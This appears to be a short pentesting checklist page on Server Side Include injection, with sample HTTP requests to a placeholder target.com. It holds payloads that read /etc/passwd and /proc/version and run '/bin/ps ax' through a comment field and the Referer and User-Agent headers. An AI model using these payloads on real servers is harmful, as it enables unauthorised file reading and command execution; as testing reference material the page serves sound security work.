SSI Injection
Check List
Methodology
Black Box
Read Sensitive File via Server Side Include
1
2
3
4
POST /comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
comment=HelloWorld5
<!--#include virtual="/etc/passwd" -->POST /comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
comment=<!--#include virtual="/etc/passwd" -->6
Sever Side Including in HTTP Header
1
GET / HTTP/1.1
Host: target.com
Referer: <!--#exec cmd="/bin/ps ax"-->
User-Agent: <!--#include virtual="/proc/version"-->2
3
4
White Box
Cheat Sheet
Last updated